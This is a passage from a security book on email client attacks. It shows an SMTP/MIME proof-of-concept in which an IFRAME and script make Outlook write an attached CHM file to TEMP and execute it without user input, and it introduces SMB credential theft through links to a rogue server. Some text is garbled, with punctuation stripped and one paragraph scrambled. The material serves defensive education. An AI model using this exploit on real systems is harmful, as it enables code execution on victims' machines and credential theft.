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Popularity: Simplicity: Impact: Risk Rating: 5 9 10 8
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Georgi demonstrates his keen eye for seemingly small problems with broad implications in this, his #9 advisory of 2000 (see http://wwwguninskicom/eml-deschtml) The key issue here is Outlook/OE s propensity to create files in the TEMP directory with a known name and arbitrary content, much like the mechanism proposed by malwarecom However, by leveraging other exploits he has developed, including the Windows Help File shortcut execution vulnerability (CHM files, see http://wwwguninskicom/chm-deschtml) and the ever-useful IFRAME tag (see earlier sections discussing IFAME), Georgi seems to have uncovered a consistent mechanism for delivering the goods and a way to execute the downloaded code Thus, we have given this exploit a Risk Rating of 8, among the highest of the ones we ve discussed so far, because it comes the closest to being the total package: write a file to disk, and then execute it without any user input The trick is the use of the IFRAME tag within the body of an email message that references an attachment to the same message For some peculiar reason that perhaps only Georgi knows, when the IFRAME touches the attached file, the file is flushed to disk It is then easy to call the file from a script embedded in the body of the very same message The file Georgi writes is a CHM file, which he has graciously configured to call Wordpadexe using an embedded shortcut command
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Here is a mail hacking capsule demonstrating the attack Note that the CHM file has to be prepacked using mpack (See the earlier section Mail Hacking 101 )
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helo somedomaincom mail from: <mallory@attackernet> rcpt to: <hapless@victimnet> data subject: This one takes the cake! Importance: high MIME-Version: 10 Content-Type: multipart/mixed; boundary="_boundary1_" --_boundary1_ Content-Type: multipart/alternative; boundary="_boundary2_" --_boundary2_ Content-Type: text/html; charset=us-ascii <IFRAME align=3Dbaseline alt=3D"" = border=3D0 hspace=3D0=20 src=3D"cid:5551212"></IFRAME> <SCRIPT> setTimeout('windowshowHelp("c:/windows/temp/abcdechm");',1000); setTimeout('windowshowHelp("c:/temp/abcdechm");',1000); setTimeout('windowshowHelp("C:/docume~1/admini~1/locals~1/temp/abcdechm"); ',1000); </SCRIPT> --_boundary2_---_boundary1_ Content-Type: application/binary; name="abcdechm" Content-ID: <5551212> Content-Transfer-Encoding: base64
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[Base64-encode abcdechm using mpack and embed here]
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--_boundary1_- quit
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Stuffing U Countermeasure to IFRAMEisAttachmentuse of ActiveX, as explained in the secThe only defense against this one conscientious
tion on security zones earlier Microsoft has not released a patch
In the authors testing of this attack against Windows 9x, NT, and 2000, and Outlook and Outlook Express, this exploit was triggered flawlessly, most often when simply previewed (The lines beginning with setTimeout actually specify the outcome on the three different OSes can you tell which is for which ) The key item in this code listing is the Content-ID field, populated with the nonce 5551212 in our example The src of the IFRAME in the body of the email refers to the ID of the MIME attachment of the same message, creating a nice circular reference that allows the attachment to be written to disk and called by the same malicious email message
Invoking Outbound Client Connections
We ve talked a lot about performing actions on the client system to this point, but only briefly have we touched on the concept of letting the client software initiate malicious activity on behalf of a remote attacker Once again, it s easy to see how Internet technologies make such attacks easy to implement consider the Uniform Resource Locator (URL) that we are all accustomed to using to navigate to various Internet sites As its name suggests, a URL can serve as much more than a marker for a remote web site, as we illustrate next
MRedirecting SMB Authentication
Popularity: Simplicity: Impact: Risk Rating: 4 9 7 7
This basic but extraordinarily devious trick was suggested in one of the early releases of L0phtcrack (see 5) Send an e-mail message to the victim with an embedded hyperlink to a fraudulent Windows file sharing service (SMB) server The victim receives the message, the hyperlink is followed (manually or automatically), and the client unwittingly sends the user s SMB credentials over the network Such links are easily disguised and typically require little user interaction because Windows automatically tries to log in as the current user if no other authentication information is explicitly supplied This is probably one of the most debilitating behaviors of Windows from a security perspective As an example, consider an embedded image tag that renders with HTML in a web page or email message:
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